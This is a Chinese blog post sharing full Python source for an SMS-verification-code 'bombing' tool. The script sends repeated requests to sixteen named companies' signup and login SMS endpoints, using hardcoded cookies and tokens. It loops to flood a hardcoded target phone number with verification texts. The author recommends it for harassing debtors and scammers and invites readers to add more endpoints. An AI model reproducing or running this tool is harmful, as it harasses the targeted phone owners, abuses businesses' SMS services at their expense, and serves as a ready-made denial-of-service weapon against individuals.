(原名“黑白配博客”)网站已大变样

MENU

python短信验证码轰炸测试软件源码共享

July 4, 2020 • Python合集阅读设置

却道天凉好个秋~

如题,代码具有时效性,等你搜索到这里的时候应该大部分接口已经修复了,但是可以参考一下原理,自行搜索可用来发短信验证码的接口添加进去,设置一下定时就可以实现一个免费的短信验证码轰炸效果了,对付一些不要脸的老赖和骗子~

 

代码如下(很整洁简单,有点python基础的都能看懂)

  1. import json
  2. import requests as r
  3. import time
  4. class PostRequest:
  5.     def run(self):
  6.         print("#"*10 + self.name + "#"*10)
  7.         try:
  8.             response = r.post(url= self.url, data= self.data, headers= self.header)
  9.             print("[*] Send Request Success ")
  10.             print("[*] Status code: {}".format(response))
  11.             print("[*] Content: " + response.text)
  12.         except:
  13.             print("[-] Send Request Fail ")
  14.         time.sleep(sleep)
  15. class PostRequest_json:
  16.     def run(self):
  17.         print("#" * 10 + self.name + "#" * 10)
  18.         try:
  19.             response = r.post(url= self.url, data= json.dumps(self.data), headers= self.header)
  20.             print("[*] Send Request Success ")
  21.             print("[*] Status code: {}".format(response))
  22.             print("[*] Content: " + response.text)
  23.         except:
  24.             print("[-] Send Request Fail ")
  25.         time.sleep(sleep)
  26. class GetRequest:
  27.     def run(self):
  28.         print("#" * 10 + self.name + "#" * 10)
  29.         try:
  30.             response = r.get(url= self.url, headers= self.header)
  31.             print("[*] Send Request Success ")
  32.             print("[*] Status code: {}".format(response))
  33.             print("[*] Content: " + response.text)
  34.         except:
  35.             print("[-] Send Request Fail ")
  36.         time.sleep(sleep)
  37. class SMS_Send_1(PostRequest_json):
  38.     #60s
  39.     def __init__(self, phone):
  40.         self.name = "顺丰速运"
  41.         self.phone = phone
  42.         self.url = "https://v.sf-express.com/portal-sfkey/user/signin"
  43.         self.header = {
  44.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  45.             "Referer": "https://v.sf-express.com/sf/?switchTab=register",
  46.             "Content-Type": "application/json;charset=utf-8"
  47.         }
  48.         self.data = {
  49.             "requestNo": phone,
  50.             "verificationSource": ""
  51.         }
  52. class SMS_Send_2(PostRequest_json):
  53.     def __init__(self, phone):
  54.         #30s
  55.         self.name = "上海信贵汽车服务有限公司(担路)"
  56.         self.url = "http://www.shxgzc.com/capi/v1/company_account/send_siteuser_signup_token"
  57.         self.header = {
  58.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  59.             "Referer": "http://www.shxgzc.com/account/signup/?next=/",
  60.             "Content-Type": "application/json;charset=utf-8"
  61.         }
  62.         self.data = {
  63.             "mobile": str(phone)
  64.         }
  65. class SMS_Send_3(PostRequest):
  66.     #60s
  67.     def __init__(self,phone):
  68.         self.name = "易车"
  69.         self.phone = phone
  70.         self.url = "http://www.bitauto.com/feedback/ajax/FeedbackSendCode.ashx"
  71.         self.header = {
  72.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  73.             "Referer": "http://www.bitauto.com/feedback/",
  74.             "Content-Type": "application/x-www-form-urlencoded;charset = UTF-8",
  75.             "Cookie": "XCWEBLOG_testcookie=yes;CIGDCID=886c9cc94b1946269d295460a9d7262d-yiche;\
  76. ASP.NET_SessionId=zibw5xn2q1dywmtmqw0tcvre;locatecity=320500;bitauto_ipregion=121.236.203\
  77. .64%3a%e6%b1%9f%e8%8b%8f%e7%9c%81%e8%8b%8f%e5%b7%9e%e5%b8%82%3\
  78. b1502%2c%e8%8b%8f%e5%b7%9e%e5%b8%82%2csuzhou"
  79.         }
  80.         self.data = {
  81.             "Mobile": phone,
  82.             "action": "SendCode",
  83.             "Code": "%E8%AF%B7%E8%BE%93%E5%85%A5%E7%9F%AD%E4%BF%A1%E9%AA%8C%E8%AF%81%E7%A0%81"
  84.         }
  85. class SMS_Send_4(GetRequest):
  86.     def __init__(self, phone):
  87.         #60s
  88.         self.name = "澳门航空"
  89.         self.url = "https://mp.airmacau.com.cn/sms/code/86-"+str(phone)+"/en-US?_t=1581701618"
  90.         self.header = {
  91.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  92.             "Referer": "https://www.airmacau.com.mo/",
  93.             "Origin": "https://www.airmacau.com.mo"
  94.         }
  95. class SMS_Send_5(GetRequest):
  96.     def __init__(self, phone):
  97.         #60s
  98.         self.name = "Ac Fun弹幕网"
  99.         self.url = "https://id.app.acfun.cn/rest/web/login/sms/send?mobile="+str(phone)+"&type=6&"
  100.         self.header = {
  101.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  102.             "Referer": "https://www.acfun.cn/reg/?returnUrl=https%3A%2F%2Fwww.acfun.cn%2F",
  103.             "Origin": "https://www.acfun.cn"
  104.         }
  105. class SMS_Send_6(GetRequest):
  106.     def __init__(self, phone):
  107.         #60s
  108.         self.name = "乐教乐学"
  109.         self.url = "http://id.lejiaolexue.com/api/sendvericode.ashx?phone=" + str(phone)
  110.         self.header = {
  111.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  112.             'Referer': 'http://www.lejiaolexue.com/',
  113.             'Origin': 'http://www.lejiaolexue.com'
  114.         }
  115. class SMS_Send_7(PostRequest):
  116.     def __init__(self, phone):
  117.         #60s
  118.         self.name = "中国营养学会"
  119.         self.url = "http://user.cnsoc.org/Reg/_RegHandler.html"
  120.         self.header = {
  121.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  122.             "Referer": "http://user.cnsoc.org/Reg/userReg.html",
  123.             "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
  124.             "Cookie": "YqMark_Web=W+5fOFaDuY3eWX3B4ESV7/Ghp0XqMEEx7A+i3rWUk9s=; ASP.NET_SessionId=sovzh3t24evqr4hftdt0iwv0"
  125.         }
  126.         self.data = {
  127.             'action': 'phonecode',
  128.             'phone': str(phone),
  129.             'post': '1'
  130.         }
  131. class SMS_Send_8(PostRequest):
  132.     def __init__(self, phone):
  133.         # 60s     每天三次
  134.         self.name = "四季教育平台"
  135.         self.url = "http://student.sijiedu.com/includes/sendregSmsCode.php"
  136.         self.header = {
  137.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  138.             "Referer": "http://student.sijiedu.com/index.php?m=reg",
  139.             "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
  140.             'Cookie': "PHPSESSID=9kcui76v7g500hh80b9l4m04b5"
  141.         }
  142.         self.data = {
  143.             'tel': str(phone),
  144.             'siji1': '274622',
  145.             'siji2':'1581867243',
  146.             'siji3':'81b65b5288fe762372cee72f9c623bf0'
  147.         }
  148. class SMS_Send_9(PostRequest_json):
  149.     def __init__(self, phone):
  150.         #60s
  151.         self.name = "新科教育"
  152.         self.url = "https://www.xkpx.com/zhuce/GetValidataCode/"
  153.         self.header = {
  154.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  155.             "Referer": "https://www.xkpx.com/zhuce/",
  156.             "Content-Type": "application/json;charset=utf-8"
  157.         }
  158.         self.data = {
  159.             'tel': phone
  160.         }
  161. class SMS_Send_10(PostRequest):
  162.     def __init__(self, phone):
  163.         #60s
  164.         self.name = "云杏HIS系统(九明珠)"
  165.         self.url = "http://www.yhis999.cn/yunhis/register.do?act=lable&type=yzm"
  166.         self.header = {
  167.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  168.             "Referer": "http://www.yhis999.cn/yunhis/register.do?act=query",
  169.             "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
  170.         }
  171.         self.data = {
  172.             'lxdh' : phone
  173.         }
  174. class SMS_Send_11(GetRequest):
  175.     #60s
  176.     def __init__(self, phone):
  177.         self.name = "心动网络"
  178.         self.phone = phone
  179.         url1 = "https://www.xd.com/users/sendRegisterCode"
  180.         url2 = "?callback=jQuery1102012722385873258624_1581693197433&"
  181.         url3 = "mobile="+ str(phone) +"&area_code=86&_=1581693197434"
  182.         self.url = url1 + url2 + url3
  183.         self.header = {
  184.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  185.         }
  186. class SMS_Send_12(PostRequest_json):
  187.     def __init__(self, phone):
  188.         #30s
  189.         self.name = "全鸣影视(担路)"
  190.         self.url = "http://www.qmyssh.com/capi/v1/company_account/send_siteuser_signup_token"
  191.         self.header = {
  192.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  193.             "Referer": "http://www.qmyssh.com/account/signup/",
  194.             "Content-Type": "application/json;charset=utf-8"
  195.         }
  196.         self.data = {
  197.             "mobile": str(phone)
  198.         }
  199. class SMS_Send_13(PostRequest_json):
  200.     def __init__(self, phone):
  201.         #30s
  202.         self.name = "南方航空"
  203.         self.url = "https://skypearl.csair.com/skypearl/register/send"
  204.         self.header = {
  205.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  206.             "Referer": "https://skypearl.csair.com/skypearl/register.html?lang=zh",
  207.             "Content-Type": "application/json;charset=utf-8"
  208.         }
  209.         self.data = {
  210.             "contactNo": str(phone),
  211.             "countriesCode": "86",
  212.             "language": "ZH",
  213.             "tokenId": "ekIaOrkmwxOAiUGbJeXoZpy4vO5V3wni"
  214.         }
  215. class SMS_Send_14(PostRequest):
  216.     def __init__(self, phone):
  217.         #60s
  218.         self.name = "毛豆新车网(千场红包)"
  219.         self.url = "https://www.maodou.com/promotion/coupon/send_verify_code"
  220.         self.header = {
  221.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  222.             "Referer": "https://www.maodou.com",
  223.             'Origin': 'https://www.maodou.com',
  224.             "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
  225.             "Cookie": "track_id=44851483602460672; XC-XSRF-TOKEN=eyJpdiI6IlNSRnJxclFTOVRocFdrWURwM1dFVkE\
  226. 9PSIsInZhbHVlIjoiOHJWdmJWUlNwa1dyNFl3OTlINlBcLzAxRWMzYUVTNDQyZnZMenBHM3R4RGs5VVhTNm0zdDdHNXJ2SXJUMnpaT3d\
  227. 3UHRnWXNVd0VCNkRRdko5Sm04RGpRPT0iLCJtYWMiOiIwMDRmYTQzZjlmYWM3YWI1MjA0MTMxNDhmNTFhM2VmNWRjMzQ2Mjk2OGFlZWE0Mz\
  228. A2ZTg3MDcyZTJhNDMwNWVkIn0%3D; uuid=0d06e317-9f63-4e3c-f3c4-20cabb800d43; sessionid=04fbd273-ebbc-490b-d501-\
  229. 641f73090524; cainfo=%7B%22ca_s%22%3A%22pz_baidu%22%2C%22ca_n%22%3A%22shouye_abtest%22%2C%22ca_medium%22%3A\
  230. %22%22%2C%22ca_term%22%3A%22%22%2C%22ca_content%22%3A%22%22%2C%22ca_campaign%22%3A%22%22%2C%22ca_kw%22%3A%\
  231. 22%25e6%25af%259b%25e8%25b1%2586%25e6%2596%25b0%25e8%25bd%25a6%22%2C%22keyword%22%3A%22%22%2C%22ca_keywordid\
  232. %22%3A%22%22%2C%22scode%22%3A%22%22%2C%22ca_transid%22%3A%22%22%2C%22platform%22%3A%221%22%2C%22version%22%3A\
  233. %221%22%2C%22track_id%22%3A%2244851483602460672%22%7D; cityDomain=www; location=%7B%22name%22%3A%22%E5%85%A8%E\
  234. 5%9B%BD%22%2C%22id%22%3A%220%22%2C%22domain%22%3A%22www%22%7D; Hm_lvt_7de7982ae2fe8226276dd86c423623c5=158184863\
  235. 9; guazi_xinche_session=eyJpdiI6ImJ5Q0FGbHBPdmJDMlRkSUdneEc1blE9PSIsInZhbHVlIjoiUTRtZ1RxeUNOMVd5XC9IeXpIUlhDMXZOZ\
  236. DhneittcHk4UzdNRUVkbjhFRW91WkJldk1oNkM2Y0ZzUUVaSVZQTDhkeXRsSitGNGtJbGdqVzFhaml4aHl3PT0iLCJtYWMiOiJiNGQ0ZTc1NzcyOTV\
  237. hMTc1YzQyMjNkOWU0NGIxMGUxMjRhMjYzOTkzMzliMTdhZjE5YzU5ODM2ZTI3OWY5ODVlIn0%3D; Hm_lpvt_7de7982ae2fe8226276dd86c423623\
  238. c5=1581848728"
  239.         }
  240.         self.data = {
  241.             'phone': phone
  242.         }
  243. class SMS_Send_15(GetRequest):
  244.     #60s
  245.     def __init__(self, phone):
  246.         self.name = "毛豆新车网(优惠)"
  247.         self.phone = phone
  248.         self.url = "https://uc.maodou.com/server/account/sendLoginCode?phone=" + str(phone)
  249.         self.header = {
  250.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  251.             "Referer": "https://www.maodou.com/",
  252.             "Origin": "https://www.maodou.com"
  253.         }
  254. class SMS_Send_16(PostRequest):
  255.     def __init__(self, phone):
  256.         #60s
  257.         self.name = "云森客"
  258.         self.url = "https://www.yunsenke.com/apis/getSmsPhoneCode"
  259.         self.header = {
  260.             "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0",
  261.             "Referer": "https://www.yunsenke.com/Index/regists",
  262.             "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8"
  263.         }
  264.         self.data = {
  265.             'phone' : phone
  266.         }
  267. #sleep发送短信的间隔不建议低于4s
  268. #tel要发送短信的号码
  269. #number大约轰炸总次数
  270. sleep = 5
  271. tel = 13685583449
  272. number = 100
  273. if __name__ == '__main__' :
  274.     sms1 = SMS_Send_1(tel)
  275.     sms2 = SMS_Send_2(tel)
  276.     sms3 = SMS_Send_3(tel)
  277.     sms4 = SMS_Send_4(tel)
  278.     sms5 = SMS_Send_5(tel)
  279.     sms6 = SMS_Send_6(tel)
  280.     sms7 = SMS_Send_7(tel)
  281.     sms8 = SMS_Send_8(tel)
  282.     sms9 = SMS_Send_9(tel)
  283.     sms10 = SMS_Send_10(tel)
  284.     sms11 = SMS_Send_11(tel)
  285.     sms12 = SMS_Send_12(tel)
  286.     sms13 = SMS_Send_13(tel)
  287.     sms14 = SMS_Send_14(tel)
  288.     sms15 = SMS_Send_15(tel)
  289.     sms16 = SMS_Send_16(tel)
  290.     i = 0
  291.     while int(number/13) > i:
  292.         #可能会有些失败次数,所以除13保守
  293.         i+= 1
  294.         sms1.run()
  295.         sms2.run()#30s
  296.         sms3.run()
  297.         sms4.run()
  298.         sms5.run()
  299.         sms6.run()
  300.         sms7.run()
  301.         sms8.run()
  302.         sms9.run()
  303.         sms10.run()
  304.         sms11.run()
  305.         sms12.run()
  306.         sms13.run()
  307.         sms14.run()
  308.         sms15.run()
  309.         sms16.run()
Last Modified: September 5, 2020